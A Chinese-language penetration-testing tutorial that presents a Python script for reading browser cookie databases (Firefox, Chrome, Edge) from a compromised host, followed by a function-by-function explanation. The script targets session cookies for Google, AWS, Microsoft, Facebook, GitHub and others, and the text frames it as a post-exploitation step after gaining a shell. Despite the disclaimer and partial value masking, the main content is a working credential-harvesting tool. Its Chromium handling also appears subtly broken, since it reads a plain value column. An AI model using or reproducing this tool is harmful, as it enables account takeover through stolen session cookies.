用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这次我们来讲解关于使用python脚本获得cookie,这里或许有疑问,相比于浏览器或者抓包工具来获取cookie,那么用脚本来获取cookie有哪些优势呢,这里主要有两点
- 离线获取:无需浏览器处于运行状态,只要能访问到本地 Cookie 文件,即可获取历史存储的 Cookie,而开发者模式需要浏览器实时运行且用户手动操作,抓包工具需要依赖实时网络请求。
- 批量提取:可一次性读取浏览器存储的所有符合规则的 Cookie,无需逐个页面或请求查看。
在内网渗透中,已经getshell获得系统的权限下,这种读取cookie的方式就尤为合适了。
接下来通过代码来展示如何获取cookie,代码如下
import sqlite3
import os
import platform
from pathlib import Path
def show_security_warning():
print("="*50)
print("⚠️ 安全与法律声明 ⚠️")
print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")
print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")
print("="*50)
confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()
if confirm != 'y':
print("程序已退出")
exit(0)
# 获取不同浏览器在不同系统下的默认Cookie路径(优化Edge路径检测)
def get_browser_cookie_paths(browser):
system = platform.system()
paths = []
try:
if browser == "firefox":
# Firefox: 所有系统均使用SQLite,路径格式统一
if system == "Windows":
base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"
elif system == "Darwin": # macOS
base = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"
elif system == "Linux":
base = Path.home() / ".mozilla" / "firefox"
# 查找所有配置文件中的cookies.sqlite
if base.exists():
for profile in base.iterdir():
if profile.is_dir():
cookie_file = profile / "cookies.sqlite"
if cookie_file.exists():
paths.append(str(cookie_file))
elif browser in ["chrome", "edge"]:
# Chrome/Edge: 基于Chromium,优化路径检测(支持根目录和子配置文件夹)
if system == "Windows":
# Chrome默认路径
chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"
# Edge默认路径
edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"
base = chrome_base if browser == "chrome" else edge_base
elif system == "Darwin":
base = Path.home() / "Library" / "Application Support" / (
"Google/Chrome" if browser == "chrome" else "Microsoft Edge"
)
elif system == "Linux":
base = Path.home() / ".config" / (
"google-chrome" if browser == "chrome" else "microsoft-edge"
)
# 【优化点】:先检查根目录,再检查常见子配置文件夹(覆盖特殊路径场景)
if base.exists():
# 检查顺序:根目录 → Default → Profile 1 → Profile 2(适配更多场景)
for profile in ["", "Default", "Profile 1", "Profile 2"]:
if profile: # 非空字符串表示子文件夹
cookie_file = base / profile / "Cookies"
else: # 空字符串表示根目录(User Data直接存放Cookies)
cookie_file = base / "Cookies"
if cookie_file.exists():
paths.append(str(cookie_file))
elif browser == "safari":
# Safari (仅macOS): 存储在~/Library/Cookies/Cookies.binarycookies(二进制格式)
if system == "Darwin":
cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"
if cookie_file.exists():
paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")
return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]
except Exception as e:
return [f"获取路径失败:{str(e)}"]
# 读取Cookie数据库(适配不同浏览器的表结构)
def read_cookies(cookie_path, browser):
try:
# 不同浏览器的表名和字段可能不同
if browser in ["firefox"]:
# Firefox: 表名moz_cookies,字段顺序:host, name, value
query = "SELECT host, name, value FROM moz_cookies"
elif browser in ["chrome", "edge"]:
# Chromium系: 表名cookies,字段:host_key, name, value
query = "SELECT host_key, name, value FROM cookies"
else:
return []
with sqlite3.connect(cookie_path) as conn:
# 解决Chromium数据库锁定问题(只读模式)
conn.execute("PRAGMA query_only = 1")
c = conn.cursor()
c.execute(query)
return c.fetchall() # (host, name, value)
except sqlite3.Error as e:
print(f"数据库读取错误:{e}")
return []
def main():
show_security_warning()
# 1. 选择浏览器
browsers = ["firefox", "chrome", "edge", "safari"]
print("\n支持的浏览器:", ", ".join(browsers))
browser = input("请输入要查询的浏览器(如firefox):").strip().lower()
if browser not in browsers:
print("不支持的浏览器")
return
# 2. 获取默认路径或手动输入
default_paths = get_browser_cookie_paths(browser)
print(f"\n{browser}的默认Cookie路径(可能有多个):")
for i, path in enumerate(default_paths, 1):
print(f"{i}. {path}")
use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()
if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:
cookie_path = default_paths[0]
else:
cookie_path = input("请手动输入Cookie数据库路径:").strip()
if not Path(cookie_path).exists():
print("路径不存在")
return
# 3. 读取并筛选Cookie
if browser == "safari":
print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")
return
cookies_data = read_cookies(cookie_path, browser)
if not cookies_data:
print("未读取到Cookie数据")
return
# 目标Cookie规则
target_cookies = {
".amazon.com": ["aws-userInfo", "aws-creds"],
".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],
".microsoftonline.com": ["ESTSAUTHPERSISTENT"],
".facebook.com": ["c_user", "cs"],
".onelogin.com": ["sub_session_onelogin.com"],
".github.com": ["user_session"],
".live.com": ["RPSSecAuth"],
}
# 4. 输出结果(隐藏部分敏感值)
print("\n=== 筛选结果 ===")
found = False
for item in cookies_data:
host, name, value = item
for domain in target_cookies:
if host.endswith(domain) and name in target_cookies[domain]:
# 隐藏中间部分值
hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else value
print(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")
found = True
if not found:
print("未找到符合规则的Cookie")
if __name__ == "__main__":
main()
1. 导入模块部分
import sqlite3
import os
import platform
from pathlib import Path
sqlite3
:用于操作 SQLite 数据库(大多数浏览器的 Cookie 以 SQLite 格式存储)os
:用于获取系统环境变量(如 Windows 的 APPDATA 路径)platform
:用于判断当前操作系统(Windows/macOS/Linux)Path
(来自 pathlib):提供更便捷的路径处理方法,支持跨平台路径操作
2. 安全提示函数 show_security_warning()
def show_security_warning():
print("="*50)
print("⚠️ 安全与法律声明 ⚠️")
print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")
print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")
print("="*50)
confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()
if confirm != 'y':
print("程序已退出")
exit(0)
- 功能:程序启动时强制显示安全声明,强调合法性和数据敏感性
- 逻辑:只有用户输入 'y' 才继续执行,其他情况直接退出
3. 浏览器 Cookie 路径获取函数 get_browser_cookie_paths(browser)
def get_browser_cookie_paths(browser):
system = platform.system() # 获取当前系统(Windows/Darwin即macOS/Linux)
paths = []
try:
# 根据浏览器类型和系统,定义不同的默认路径规则
if browser == "firefox":
# Firefox的路径规则(所有系统均使用cookies.sqlite文件)
if system == "Windows":
base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"
elif system == "Darwin": # macOS
base = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"
elif system == "Linux":
base = Path.home() / ".mozilla" / "firefox"
# 查找所有配置文件中的cookies.sqlite
if base.exists():
for profile in base.iterdir():
if profile.is_dir():
cookie_file = profile / "cookies.sqlite"
if cookie_file.exists():
paths.append(str(cookie_file))
# Chrome和Edge(基于Chromium内核,路径规则相似)
elif browser in ["chrome", "edge"]:
if system == "Windows":
chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"
edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"
base = chrome_base if browser == "chrome" else edge_base
# ... 省略macOS和Linux的路径定义 ...
# 优化点:按优先级检查路径(根目录 → Default → Profile 1等)
if base.exists():
for profile in ["", "Default", "Profile 1", "Profile 2"]:
cookie_file = base / profile / "Cookies" if profile else base / "Cookies"
if cookie_file.exists():
paths.append(str(cookie_file))
# Safari(特殊二进制格式,仅macOS支持)
elif browser == "safari":
if system == "Darwin":
cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"
if cookie_file.exists():
paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")
# 返回结果处理
return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]
except Exception as e:
return [f"获取路径失败:{str(e)}"]
- 核心功能:根据浏览器类型和操作系统,自动查找默认的 Cookie 文件路径
- 细节处理:
- 针对不同浏览器(Firefox/Chrome/Edge/Safari)的路径特性分别处理
- 考虑多配置文件场景(如 Chrome 的 "Default"、"Profile 1" 等)
- 对 Safari 特殊说明(二进制格式,需专用工具解析)
- 异常处理:路径获取失败时返回错误信息
4. Cookie 读取函数 read_cookies(cookie_path, browser)
def read_cookies(cookie_path, browser):
try:
# 不同浏览器的SQLite表结构不同,需使用对应查询语句
if browser in ["firefox"]:
query = "SELECT host, name, value FROM moz_cookies" # Firefox表名和字段
elif browser in ["chrome", "edge"]:
query = "SELECT host_key, name, value FROM cookies" # Chromium系表名和字段
else:
return []
# 连接数据库并读取数据
with sqlite3.connect(cookie_path) as conn:
conn.execute("PRAGMA query_only = 1") # 只读模式,避免锁定浏览器数据库
c = conn.cursor()
c.execute(query)
return c.fetchall() # 返回结果格式:(host/host_key, name, value)
except sqlite3.Error as e:
print(f"数据库读取错误:{e}")
return []
- 核心功能:连接浏览器的 Cookie 数据库(SQLite 格式),读取 Cookie 的核心信息(域名、名称、值)
- 关键处理:
- 适配不同浏览器的表结构差异(Firefox 用
moz_cookies
表,Chromium 系用cookies
表) - 设置
PRAGMA query_only = 1
:以只读模式打开,避免浏览器运行时数据库被锁定的问题 - 异常捕获:处理 SQLite 操作可能出现的错误(如文件损坏、权限不足)
- 适配不同浏览器的表结构差异(Firefox 用
5. 主函数 main()
def main():
show_security_warning() # 先显示安全提示
# 1. 选择浏览器
browsers = ["firefox", "chrome", "edge", "safari"]
print("\n支持的浏览器:", ", ".join(browsers))
browser = input("请输入要查询的浏览器(如firefox):").strip().lower()
if browser not in browsers:
print("不支持的浏览器")
return
# 2. 获取Cookie路径(默认或手动输入)
default_paths = get_browser_cookie_paths(browser)
print(f"\n{browser}的默认Cookie路径(可能有多个):")
for i, path in enumerate(default_paths, 1):
print(f"{i}. {path}")
# 选择使用默认路径还是手动输入
use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()
if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:
cookie_path = default_paths[0]
else:
cookie_path = input("请手动输入Cookie数据库路径:").strip()
if not Path(cookie_path).exists():
print("路径不存在")
return
# 3. 读取并筛选Cookie(跳过Safari,因需特殊解析)
if browser == "safari":
print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")
return
cookies_data = read_cookies(cookie_path, browser)
if not cookies_data:
print("未读取到Cookie数据")
return
# 4. 筛选敏感Cookie(定义目标规则)
target_cookies = {
".amazon.com": ["aws-userInfo", "aws-creds"],
".google.com": ["OSID", "HSID", "SID", "SSID"], # 谷歌账号相关Cookie
".microsoftonline.com": ["ESTSAUTHPERSISTENT"], # 微软账号相关
# ... 省略其他规则 ...
}
# 5. 输出筛选结果(隐藏部分敏感值)
print("\n=== 筛选结果 ===")
found = False
for item in cookies_data:
host, name, value = item
for domain in target_cookies:
if host.endswith(domain) and name in target_cookies[domain]:
# 敏感值部分隐藏(显示前5后5字符,中间用***代替)
hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else value
print(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")
found = True
if not found:
print("未找到符合规则的Cookie")
- 核心流程:程序的主控制逻辑,串联各功能模块
- 步骤解析:
- 先调用安全提示函数,确保用户确认合规性
- 让用户选择浏览器,校验输入合法性
- 获取并展示默认 Cookie 路径,支持用户选择默认路径或手动输入
- 对非 Safari 浏览器,调用
read_cookies
读取数据 - 用
target_cookies
规则筛选敏感 Cookie - 输出结果时对敏感值进行部分隐藏,减少泄露风险